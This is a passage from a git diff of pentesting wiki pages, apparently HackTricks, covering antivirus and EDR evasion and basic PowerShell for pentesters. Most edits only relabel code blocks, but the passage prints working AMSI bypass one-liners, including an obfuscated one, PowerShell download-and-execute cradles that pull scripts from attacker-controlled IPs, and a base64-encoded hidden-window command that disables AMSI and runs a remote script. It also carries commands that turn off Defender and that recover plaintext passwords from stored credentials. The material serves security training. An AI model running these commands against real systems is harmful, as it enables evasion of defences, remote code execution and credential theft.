Graeber](https://twitter.com/mattifestation) and Microsoft has developed a signature to prevent wider usage. -```powershell +```bash [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true) ``` @@ -181,7 +181,7 @@ All it took was one line of powershell code to render AMSI unusable for the curr Here is a modified AMSI bypass I took from this [Github Gist](https://gist.github.com/r00t-3xp10it/a0c6a368769eec3d3255d4814802b5db). -```powershell +```bash Try{#Ams1 bypass technic nº 2 $Xdatabase = 'Utils';$Homedrive = 'si' $ComponentDeviceId = "N`onP" + "ubl`ic" -join '' @@ -216,10 +216,10 @@ You can use a tool such as **[https://github.com/cobbr/PSAmsi](https://github.co You can find a list of AV/EDR products that uses AMSI in **[https://github.com/subat0mik/whoamsi](https://github.com/subat0mik/whoamsi)**. -**Use Poershell version 2** +**Use Powershell version 2** If you use PowerShell version 2, AMSI will not be loaded, so you can run your scripts without being scanned by AMSI. You can do this: -```powershell +```bash powershell.exe -version 2 ``` @@ -230,14 +230,18 @@ PowerShell logging is a feature that allows you to log all PowerShell commands e To bypass PowerShell logging, you can use the following techniques: - **Disable PowerShell Transcription and Module Logging**: You can use a tool such as [https://github.com/leechristensen/Random/blob/master/CSharp/DisablePSLogging.cs](https://github.com/leechristensen/Random/blob/master/CSharp/DisablePSLogging.cs) for this purpose. - - +- **Use Powershell version 2**: If you use PowerShell version 2, AMSI will not be loaded, so you can run your scripts without being scanned by AMSI. You can do this: `powershell.exe -version 2` +- **Use an Unmanaged Powershell Session**: Use [https://github.com/leechristensen/UnmanagedPowerShell](https://github.com/leechristensen/UnmanagedPowerShell) to spawn a powershell withuot defenses (this is what `powerpick` from Cobal Strike uses). ## Obfuscation +> [!NOTE] +> Several obfuscation techniques relies on encrypting data, which will increase the entropy of the binary which will make easier for AVs and EDRs to detect it. Be careful with this and maybe only apply encryption to specific sections of your code that is sensitive or needs to be hidden. + There are several tools that can be used to **obfuscate C# clear-text code**, generate **metaprogramming templates** to compile binaries or **obfuscate compiled binaries** such as: +- [**ConfuserEx**](https://github.com/yck1509/ConfuserEx): It's a great open-source obfuscator for .NET applications. It provides various protection techniques such as control flow obfuscation, anti-debugging, anti-tampering, and string encryption. It's recommened cause it allows even to obfuscate specific chunks of code. - [**InvisibilityCloak**](https://github.com/h4wkst3r/InvisibilityCloak)**: C# obfuscator** - [**Obfuscator-LLVM**](https://github.com/obfuscator-llvm/obfuscator): The aim of this project is to provide an open-source fork of the [LLVM](http://www.llvm.org/) compilation suite able to provide increased software security through [code obfuscation]() and tamper-proofing. - [**ADVobfuscator**](https://github.com/andrivet/ADVobfuscator): ADVobfuscator demonstates how to use `C++11/14` language to generate, at compile time, obfuscated code without using any external tool and without modifying the compiler. @@ -273,7 +277,7 @@ A very effective way to prevent your payloads from getting the Mark of The Web i Example usage: -```powershell +```bash PS C:\Tools\PackMyPayload> python .\PackMyPayload.py .\TotallyLegitApp.exe container.iso + o + o + o + o @@ -299,6 +303,15 @@ Here is a demo for bypassing SmartScreen by packaging payloads inside ISO files
+## ETW + +Event Tracing for Windows (ETW) is a powerful logging mechanism in Windows that allows applications and system components to **log events**. However, it can also be used by security products to monitor and detect malicious activities. + +Similar to how AMSI is disabled (bypassed) it's also possible to make the **`EtwEventWrite`** function of the user space process return immediately without logging any events. This is done by patching the function in memory to return immediately, effectively disabling ETW logging for that process. + +You can find more info in **[https://blog.xpnsec.com/hiding-your-dotnet-etw/](https://blog.xpnsec.com/hiding-your-dotnet-etw/) and [https://github.com/repnz/etw-providers-docs/](https://github.com/repnz/etw-providers-docs/)**. + + ## C# Assembly Reflection Loading C# binaries in memory has been known for quite some time and it's still a very great way for running your post-exploitation tools without getting caught by AV. @@ -332,6 +345,16 @@ By allowing access to the Interpreter Binaries and the environment on the SMB sh The repo indicates: Defender still scans the scripts but by utilising Go, Java, PHP etc we have **more flexibility to bypass static signatures**. Testing with random un-obfuscated reverse shell scripts in these languages has proved successful. +## TokenStomping + +Token stomping is a technique that allows an attacker to **manipulate the access token or a security prouct like an EDR or AV**, allowing them to reduce it privileges so the process won't die but it won't have permissions to check for malicious activities. + +To prevent this Windows could **prevent external processes** from getting handles over the tokens of security processes. + +- [**https://github.com/pwn1sher/KillDefender/**](https://github.com/pwn1sher/KillDefender/) +- [**https://github.com/MartinIngesen/TokenStomp**](https://github.com/MartinIngesen/TokenStomp) +- [**https://github.com/nick-frischkorn/TokenStripBOF**](https://github.com/nick-frischkorn/TokenStripBOF) + ## Advanced Evasion Evasion is a very complicated topic, sometimes you have to take into account many different sources of telemetry in just one system, so it's pretty much impossible to stay completely undetected in mature environments. @@ -597,6 +620,6 @@ https://github.com/praetorian-code/vulcan ### More -- [https://github.com/persianhydra/Xeexe-TopAntivirusEvasion](https://github.com/persianhydra/Xeexe-TopAntivirusEvasion) +- [https://github.com/Seabreg/Xeexe-TopAntivirusEvasion](https://github.com/Seabreg/Xeexe-TopAntivirusEvasion) {{#include ../banners/hacktricks-training.md}} diff --git a/src/windows-hardening/basic-cmd-for-pentesters.md b/src/windows-hardening/basic-cmd-for-pentesters.md index 3f95bdcf7..5d509ce70 100644 --- a/src/windows-hardening/basic-cmd-for-pentesters.md +++ b/src/windows-hardening/basic-cmd-for-pentesters.md @@ -368,7 +368,7 @@ who^ami #whoami Generates an obfuscated CMD line -```powershell +```bash git clone https://github.com/danielbohannon/Invoke-DOSfuscation.git cd Invoke-DOSfuscation Import-Module .\Invoke-DOSfuscation.psd1 diff --git a/src/windows-hardening/basic-powershell-for-pentesters/README.md b/src/windows-hardening/basic-powershell-for-pentesters/README.md index 4ef3f5239..2307f891d 100644 --- a/src/windows-hardening/basic-powershell-for-pentesters/README.md +++ b/src/windows-hardening/basic-powershell-for-pentesters/README.md @@ -4,14 +4,14 @@ ## Default PowerShell locations -```powershell +```bash C:\windows\syswow64\windowspowershell\v1.0\powershell C:\Windows\System32\WindowsPowerShell\v1.0\powershell ``` ## Basic PS commands to start -```powershell +```bash Get-Help * #List everything loaded Get-Help process #List everything containing "process" Get-Help Get-Item -Full #Get full helpabout a topic @@ -22,7 +22,7 @@ Get-Command -Module ## Download & Execute -```powershell +```bash echo IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.13:8000/PowerUp.ps1') | powershell -noprofile - #From cmd download and execute powershell -exec bypass -c "(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr('http://10.2.0.5/shell.ps1')|iex" iex (iwr '10.10.14.9:8000/ipw.ps1') #From PSv3 @@ -37,13 +37,13 @@ powershell . (nslookup -q=txt http://some.owned.domain.com)[-1] ### Download & Execute in background with AMSI Bypass -```powershell +```bash Start-Process -NoNewWindow powershell "-nop -Windowstyle hidden -ep bypass -enc JABhACAAPQAgACcAUwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEEAJwA7ACQAYgAgAD0AIAAnAG0AcwAnADsAJAB1ACAAPQAgACcAVQB0AGkAbABzACcACgAkAGEAcwBzAGUAbQBiAGwAeQAgAD0AIABbAFIAZQBmAF0ALgBBAHMAcwBlAG0AYgBsAHkALgBHAGUAdABUAHkAcABlACgAKAAnAHsAMAB9AHsAMQB9AGkAewAyAH0AJwAgAC0AZgAgACQAYQAsACQAYgAsACQAdQApACkAOwAKACQAZgBpAGUAbABkACAAPQAgACQAYQBzAHMAZQBtAGIAbAB5AC4ARwBlAHQARgBpAGUAbABkACgAKAAnAGEAewAwAH0AaQBJAG4AaQB0AEYAYQBpAGwAZQBkACcAIAAtAGYAIAAkAGIAKQAsACcATgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwAnACkAOwAKACQAZgBpAGUAbABkAC4AUwBlAHQAVgBhAGwAdQBlACgAJABuAHUAbABsACwAJAB0AHIAdQBlACkAOwAKAEkARQBYACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMQAwAC4AMQAxAC8AaQBwAHMALgBwAHMAMQAnACkACgA=" ``` ### Using b64 from linux -```powershell +```bash echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.31/shell.ps1')" | iconv -t UTF-16LE | base64 -w 0 powershell -nop -enc ``` @@ -52,25 +52,25 @@ powershell -nop -enc ### System.Net.WebClient -```powershell +```bash (New-Object Net.WebClient).DownloadFile("http://10.10.14.2:80/taskkill.exe","C:\Windows\Temp\taskkill.exe") ``` ### Invoke-WebRequest -```powershell +```bash Invoke-WebRequest "http://10.10.14.2:80/taskkill.exe" -OutFile "taskkill.exe" ``` ### Wget -```powershell +```bash wget "http://10.10.14.2/nc.bat.exe" -OutFile "C:\ProgramData\unifivideo\taskkill.exe" ``` ### BitsTransfer -```powershell +```bash Import-Module BitsTransfer Start-BitsTransfer -Source $url -Destination $output # OR @@ -79,7 +79,7 @@ Start-BitsTransfer -Source $url -Destination $output -Asynchronous ## Base64 Kali & EncodedCommand -```powershell +```bash kali> echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.9:8000/9002.ps1')" | iconv --to-code UTF-16LE | base64 -w0 PS> powershell -EncodedCommand ``` @@ -92,7 +92,7 @@ PS> powershell -EncodedCommand ## Enable WinRM (Remote PS) -```powershell +```bash enable-psremoting -force #This enables winrm # Change NetWorkConnection Category to Private @@ -108,7 +108,7 @@ Get-NetConnectionProfile | ## Disable Defender -```powershell +```bash # Check status Get-MpComputerStatus Get-MpPreference | select Exclusion* | fl #Check exclusions @@ -144,7 +144,7 @@ Therefore, the goal of the AMSI bypasses you will use is to **overwrite the inst **AMSI bypass generator** web page: [**https://amsi.fail/**](https://amsi.fail/) -```powershell +```bash # A Method [Ref].Assembly.GetType('System.Management.Automation.Ams'+'iUtils').GetField('am'+'siInitFailed','NonPu'+'blic,Static').SetValue($null,$true) @@ -216,7 +216,7 @@ The steps performing API cal hooking of .NET methods are: ## PS-History -```powershell +```bash Get-Content C:\Users\\AppData\Roaming\Microsoft\Windows\Powershell\PSReadline\ConsoleHost_history.txt ``` @@ -224,7 +224,7 @@ Get-Content C:\Users\\AppData\Roaming\Microsoft\Windows\Powershell\PSR Options : `CreationTime`, `CreationTimeUtc`, `LastAccessTime`, `LastAccessTimeUtc`, `LastWriteTime`, `LastWriteTimeUtc` -```powershell +```bash # LastAccessTime: (gci C:\ -r | sort -Descending LastAccessTime | select -first 100) | Select-Object -Property LastAccessTime,FullName @@ -234,13 +234,13 @@ Options : `CreationTime`, `CreationTimeUtc`, `LastAccessTime`, `LastAccessTimeUt ## Get permissions -```powershell +```bash Get-Acl -Path "C:\Program Files\Vuln Services" | fl ``` ## OS version and HotFixes -```powershell +```bash [System.Environment]::OSVersion.Version #Current OS version Get-WmiObject -query 'select * from win32_quickfixengineering' | foreach {$_.hotfixid} #List all patches Get-Hotfix -description "Security update" #List only "Security Update" patches @@ -248,20 +248,20 @@ Get-Hotfix -description "Security update" #List only "Security Update" patches ## Environment -```powershell +```bash Get-ChildItem Env: | ft Key,Value -AutoSize #get all values $env:UserName @Get UserName value ``` ## Other connected drives -```powershell +```bash Get-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.Core\FileSystem"}| ft Name,Root ``` ### Recycle Bin -```powershell +```bash $shell = New-Object -com shell.application $rb = $shell.Namespace(10) $rb.Items() @@ -277,14 +277,14 @@ powerview.md ## Users -```powershell +```bash Get-LocalUser | ft Name,Enabled,Description,LastLogon Get-ChildItem C:\Users -Force | select Name ``` ## Secure String to Plaintext -```powershell +```bash $pass = "01000000d08c9ddf0115d1118c7a00c04fc297eb01000000e4a07bc7aaeade47925c42c8be5870730000000002000000000003660000c000000010000000d792a6f34a55235c22da98b0c041ce7b0000000004800000a00000001000000065d20f0b4ba5367e53498f0209a3319420000000d4769a161c2794e19fcefff3e9c763bb3a8790deebf51fc51062843b5d52e40214000000ac62dab09371dc4dbfd763fea92b9d5444748692" | convertto-securestring $user = "HTB\Tom" $cred = New-Object System.management.Automation.PSCredential($user, $pass) @@ -298,7 +298,7 @@ Domain : HTB Or directly parsing form XML: -```powershell +```bash $cred = Import-CliXml -Path cred.xml; $cred.GetNetworkCredential() | Format-List * UserName : Tom @@ -309,7 +309,7 @@ Domain : HTB ## SUDO -```powershell +```bash #CREATE A CREDENTIAL OBJECT $pass = ConvertTo-SecureString '' -AsPlainText -Force $cred = New-Object System.Management.Automation.PSCredential("", $pass) @@ -333,14 +333,14 @@ $computer = "" ## Groups -```powershell +```bash Get-LocalGroup | ft Name #All groups Get-LocalGroupMember Administrators | ft Name, PrincipalSource #Members of Administrators ``` ## Clipboard -```powershell +```bash Get-Clipboard ``` @@ -351,7 +351,7 @@ Perform some clipboard monitoring using: ## Processes -```powershell +```bash Get-Process | where {$_.ProcessName -notlike "svchost*"} | ft ProcessName, Id ``` @@ -363,7 +363,7 @@ Get-Service ## Password from secure string -```powershell +```bash $pw=gc admin-pass.xml | convertto-securestring #Get the securestring from the file $cred=new-object system.management.automation.pscredential("administrator", $pw) $cred.getnetworkcredential() | fl * #Get plaintext password @@ -371,7 +371,7 @@ $cred.getnetworkcredential() | fl * #Get plaintext password ## Scheduled Tasks -```powershell +```bash Get-ScheduledTask | where {$_.TaskPath -notlike "\Microsoft*"} | ft TaskName,TaskPath,State ``` @@ -379,7 +379,7 @@ Get-ScheduledTask | where {$_.TaskPath -notlike "\Microsoft*"} | ft TaskName,Tas ### Port Scan -```powershell +```bash # Check Port or Single IP Test-NetConnection -Port 80 10.10.10.10 @@ -396,14 +396,14 @@ Test-NetConnection -Port 80 10.10.10.10 ### Interfaces -```powershell +```bash Get-NetIPConfiguration | ft InterfaceAlias,InterfaceDescription,IPv4Address Get-DnsClientServerAddress -AddressFamily IPv4 | ft ``` ### Firewall -```powershell +```bash Get-NetFirewallRule -Enabled True Get-NetFirewallRule -Direction Outbound -Enabled True -Action Block @@ -421,38 +421,38 @@ Get-NetFirewallRule -Direction Outbound -Enabled True -Action Block | Format-Tab ### Route -```powershell +```bash route print ``` ### ARP -```powershell +```bash Get-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,LinkLayerAddress,State ``` ### Hosts -```powershell +```bash Get-Content C:\WINDOWS\System32\drivers\etc\hosts ``` ### Ping -```powershell +```bash $ping = New-Object System.Net.Networkinformation.Ping 1..254 | % { $ping.send("10.9.15.$_") | select address, status } ``` ### SNMP -```powershell +```bash Get-ChildItem -path HKLM:\SYSTEM\CurrentControlSet\Services\SNMP -Recurse ``` ## **Converting the SDDL String into a Readable Format** -```powershell +```bash PS C:\> ConvertFrom-SddlString "O:BAG:BAD:AI(D;;DC;;;WD)(OA;CI;CR;ab721a53-1e2f-11d0-9819-00aa0040529b;bf967aba-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;CR;00299570-246d-11d0-a768-00aa006e0529;bf967aba-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CIIO;CCDCLC;c975c901-6cea-4b6f-8319-d67f45449506;4828cc14-1437-45bc-9b07-ad6f015e5f28;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CIIO;CCDCLC;c975c901-6cea-4b6f-8319-d67f45449506;bf967aba-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;;CR;3e0f7e18-2c7a-4c10-ba82-4d926db99a3e;;S-1-5-21-3842939050-3880317879-2865463114-522)(OA;;CR;1131f6aa-9c07-11d1-f79f-00c04fc2dcd2;;S-1-5-21-3842939050-3880317879-2865463114-498)(OA;;CR;1131f6ab-9c07-11d1-f79f-00c04fc2dcd2;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;;CR;1131f6ad-9c07-11d1-f79f-00c04fc2dcd2;;DD)(OA;CI;CR;89e95b76-444d-4c62-991a-0facbeda640c;;S-1-5-21-3842939050-3880317879-2865463114-1164)(OA;CI;CR;1131f6aa-9c07-11d1-f79f-00c04fc2dcd2;;S-1-5-21-3842939050-3880317879-2865463114-1164)(OA;CI;CR;1131f6ad-9c07-11d1-f79f-00c04fc2dcd2;;S-1-5-21-3842939050-3880317879-2865463114-1164)(OA;CI;CC;4828cc14-1437-45bc-9b07-ad6f015e5f28;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;CC;bf967a86-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;CC;bf967a9c-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;CC;bf967aa5-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;CC;bf967aba-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;CC;5cb41ed0-0e4c-11d0-a286-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;RP;4c164200-20c0-11d0-a768-00aa006e0529;;S-1-5-21-3842939050-3880317879-2865463114-5181)(OA;CI;RP;b1b3a417-ec55-4191-b327-b72e33e38af2;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;RP;9a7ad945-ca53-11d1-bbd0-0080c76670c0;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;RP;bf967a68-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;RP;1f298a89-de98-47b8-b5cd-572ad53d267e;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;RP;bf967991-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;RP;5fd424a1-1262-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;bf967a06-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;bf967a06-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;bf967a0a-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;WP;3e74f60e-3e73-11d1-a9c0-0000f80367c1;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;3e74f60e-3e73-11d1-a9c0-0000f80367c1;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;b1b3a417-ec55-4191-b327-b72e33e38af2;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;b1b3a417-ec55-4191-b327-b72e33e38af2;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;bf96791a-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;bf96791a-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;9a9a021e-4a5b-11d1-a9c3-0000f80367c1;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;0296c120-40da-11d1-a9c0-0000f80367c1;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;WP;934de926-b09e-11d2-aa06-00c04f8eedd8;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;5e353847-f36c-48be-a7f7-49685402503c;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;8d3bca50-1d7e-11d0-a081-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;bf967953-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;bf967953-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;e48d0154-bcf8-11d1-8702-00c04fb96050;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;275b2f54-982d-4dcd-b0ad-e53501445efb;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;bf967954-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;bf967954-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;bf967961-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;bf967961-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;bf967a68-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;WP;5fd42471-1262-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;WP;5430e777-c3ea-4024-902e-dde192204669;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;6f606079-3a82-4c1b-8efb-dcc8c91d26fe;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;bf967a7a-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;WP;bf967a7f-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;614aea82-abc6-4dd0-a148-d67a59c72816;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;66437984-c3c5-498f-b269-987819ef484b;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;77b5b886-944a-11d1-aebd-0000f80367c1;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;a8df7489-c5ea-11d1-bbcb-0080c76670c0;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;a8df7489-c5ea-11d1-bbcb-0080c76670c0;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;1f298a89-de98-47b8-b5cd-572ad53d267e;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;1f298a89-de98-47b8-b5cd-572ad53d267e;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;f0f8ff9a-1191-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;f0f8ff9a-1191-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;f0f8ff9a-1191-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;2cc06e9d-6f7e-426a-8825-0215de176e11;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;5fd424a1-1262-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;5fd424a1-1262-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;3263e3b8-fd6b-4c60-87f2-34bdaa9d69eb;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;WP;28630ebc-41d5-11d1-a9c1-0000f80367c1;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;WP;28630ebc-41d5-11d1-a9c1-0000f80367c1;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;WP;bf9679c0-0de6-11d0-a285-00aa003049e2;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;WP;3e0abfd0-126a-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;WP;7cb4c7d3-8787-42b0-b438-3c5d479ad31e;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;RPWP;5b47d60f-6090-40b2-9f37-2a4de88f3063;;S-1-5-21-3842939050-3880317879-2865463114-526)(OA;CI;RPWP;5b47d60f-6090-40b2-9f37-2a4de88f3063;;S-1-5-21-3842939050-3880317879-2865463114-527)(OA;CI;DTWD;;4828cc14-1437-45bc-9b07-ad6f015e5f28;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;DTWD;;bf967aba-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CI;CCDCLCRPWPLO;f0f8ffac-1191-11d0-a060-00aa006c33ed;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CI;CCDCLCRPWPLO;e8b2aff2-59a7-4eac-9a70-819adef701dd;;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;CI;CCDCLCSWRPWPDTLOCRSDRCWDWO;018849b0-a981-11d2-a9ff-00c04f8eedd8;;S-1-5-21-3842939050-3880317879-2865463114-5172)(OA;CI;CCDCLCSWRPWPDTLOCRSDRCWDWO;018849b0-a981-11d2-a9ff-00c04f8eedd8;;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CIIO;SD;;4828cc14-1437-45bc-9b07-ad6f015e5f28;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CIIO;SD;;bf967a86-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CIIO;SD;;bf967a9c-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CIIO;SD;;bf967aa5-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CIIO;SD;;bf967aba-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CIIO;SD;;5cb41ed0-0e4c-11d0-a286-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5189)(OA;CIIO;WD;;bf967a9c-0de6-11d0-a285-00aa003049e2;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CIIO;SW;9b026da6-0d3c-465c-8bee-5199d7165cba;bf967a86-0de6-11d0-a285-00aa003049e2;CO)(OA;CIIO;SW;9b026da6-0d3c-465c-8bee-5199d7165cba;bf967a86-0de6-11d0-a285-00aa003049e2;PS)(OA;CIIO;RP;b7c69e6d-2cc7-11d2-854e-00a0c983f608;bf967a86-0de6-11d0-a285-00aa003049e2;ED)(OA;CIIO;RP;b7c69e6d-2cc7-11d2-854e-00a0c983f608;bf967a9c-0de6-11d0-a285-00aa003049e2;ED)(OA;CIIO;RP;b7c69e6d-2cc7-11d2-854e-00a0c983f608;bf967aba-0de6-11d0-a285-00aa003049e2;ED)(OA;CIIO;WP;ea1b7b93-5e48-46d5-bc6c-4df4fda78a35;bf967a86-0de6-11d0-a285-00aa003049e2;PS)(OA;CIIO;CCDCLCSWRPWPDTLOCRSDRCWDWO;;c975c901-6cea-4b6f-8319-d67f45449506;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CIIO;CCDCLCSWRPWPDTLOCRSDRCWDWO;;f0f8ffac-1191-11d0-a060-00aa006c33ed;S-1-5-21-3842939050-3880317879-2865463114-5187)(OA;CINPIO;RPWPLOSD;;e8b2aff2-59a7-4eac-9a70-819adef701dd;S-1-5-21-3842939050-3880317879-2865463114-5186)(OA;;CR;89e95b76-444d-4c62-991a-0facbeda640c;;BA)(OA;;CR;1131f6aa-9c07-11d1-f79f-00c04fc2dcd2;;BA)(OA;;CR;1131f6ab-9c07-11d1-f79f-00c04fc2dcd2;;BA)(OA;;CR;1131f6ac-9c07-11d1-f79f-00c04fc2dcd2;;BA)(OA;;CR;1131f6ad-9c07-11d1-f79f-00c04fc2dcd2;;BA)(OA;;CR;1131f6ae-9c07-11d1-f79f-00c04fc2dcd2;;BA)(OA;;CR;e2a36dc9-ae17-47c3-b58b-be34c55ba633;;S-1-5-32-557)(OA;CIIO;LCRPLORC;;4828cc14-1437-45bc-9b07-ad6f015e5f28;RU)(OA;CIIO;LCRPLORC;;bf967a9c-0de6-11d0-a285-00aa003049e2;RU)(OA;CIIO;LCRPLORC;;bf967aba-0de6-11d0-a285-00aa003049e2;RU)(OA;;CR;05c74c5e-4deb-43b4-bd9f-86664c2a7fd5;;AU)(OA;;CR;89e95b76-444d-4c62-991a-0facbeda640c;;ED)(OA;;CR;ccc2dc7d-a6ad-4a7a-8846-c04e3cc53501;;AU)(OA;;CR;280f369c-67c7-438e-ae98-1d46f3c6f541;;AU)(OA;;CR;1131f6aa-9c07-11d1-f79f-00c04fc2dcd2;;ED)(OA;;CR;1131f6ab-9c07-11d1-f79f-00c04fc2dcd2;;ED)(OA;;CR;1131f6ac-9c07-11d1-f79f-00c04fc2dcd2;;ED)(OA;;CR;1131f6ae-9c07-11d1-f79f-00c04fc2dcd2;;ED)(OA;CI;RP;b1b3a417-ec55-4191-b327-b72e33e38af2;;NS)(OA;CI;RP;1f298a89-de98-47b8-b5cd-572ad53d267e;;AU)(OA;CI;RPWP;3f78c3e5-f79a-46bd-a0b8-9d18116ddc79;;PS)(OA;CIIO;RPWPCR;91e647de-d96f-4b70-9557-d63ff4f3ccd8;;PS)(A;;CCLCSWRPWPLOCRRCWDWO;;;DA)(A;CI;LCSWRPWPRC;;;S-1-5-21-3842939050-3880317879-2865463114-5213)(A;CI;LCRPLORC;;;S-1-5-21-3842939050-3880317879-2865463114-5172)(A;CI;LCRPLORC;;;S-1-5-21-3842939050-3880317879-2865463114-5187)(A;CI;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-3842939050-3880317879-2865463114-519)(A;;RPRC;;;RU)(A;CI;LC;;;RU)(A;CI;CCLCSWRPWPLOCRSDRCWDWO;;;BA)(A;;RP;;;WD)(A;;LCRPLORC;;;ED)(